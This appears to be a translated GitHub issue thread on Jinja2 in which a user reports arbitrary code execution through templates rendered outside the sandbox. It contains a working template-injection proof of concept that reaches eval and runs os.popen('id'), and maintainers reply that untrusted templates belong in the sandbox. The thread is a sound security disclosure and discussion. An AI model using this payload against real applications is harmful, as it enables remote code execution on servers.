Jinja: Выполнять произвольные коды в шаблоне без среды песочницы.

Созданный на 23 февр. 2016  ·  6Комментарии  ·  Источник: pallets/jinja

Когда я использую структуру шаблонов Jinja2 в своем проекте, я нашел способ вызывать «os.popen ('id')» или другие функции без глобального регистра.
Получить оболочку легко, если злоумышленник может контролировать содержимое шаблона. Это такой дизайн?

PoC:

from jinja2 import Template

content = '''
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %} {% endif %} {% endfor %}
{% endif %} {% endfor %}
'''
print Template(content).render()

Я тестирую этот код с помощью python2 (2.7.10) и Jinja2 (2.8), если он работает, напечатает ваш пользовательский uid ...

Самый полезный комментарий

Не следует выполнять ненадежные шаблоны в среде без песочницы. Именно поэтому существует песочница (и, честно говоря, даже с песочницей я бы не позволил пользователям предоставлять произвольные шаблоны Jinja)

Все 6 Комментарий

Не следует выполнять ненадежные шаблоны в среде без песочницы. Именно поэтому существует песочница (и, честно говоря, даже с песочницей я бы не позволил пользователям предоставлять произвольные шаблоны Jinja)

Итак, нужно ли принимать меры для предотвращения этого случая? Я думаю, что есть какое-то конкретное приложение, которое позволит пользователям редактировать содержимое шаблона, но практических примеров нет.

Я думаю, что необходимо использовать песочницу по умолчанию, потому что Flask или другой веб-фреймворк, используемый Jinja2, этого не делают.

Зачем вам использовать песочницу по умолчанию? В большинстве случаев шаблоны не могут быть изменены недоверенными людьми, у которых все равно нет доступа к коду.

Есть случай удаленного выполнения кода через внедрение шаблона Flask / Jinja2 в Uber.
ссылка: http://www.tuicool.com/articles/uE3YNjY

Включение песочницы по умолчанию невозможно из-за обратной совместимости, а также нецелесообразно, потому что большинству шаблонов (во Flask) доверяют.

Была ли эта страница полезной?
0 / 5 - 0 рейтинги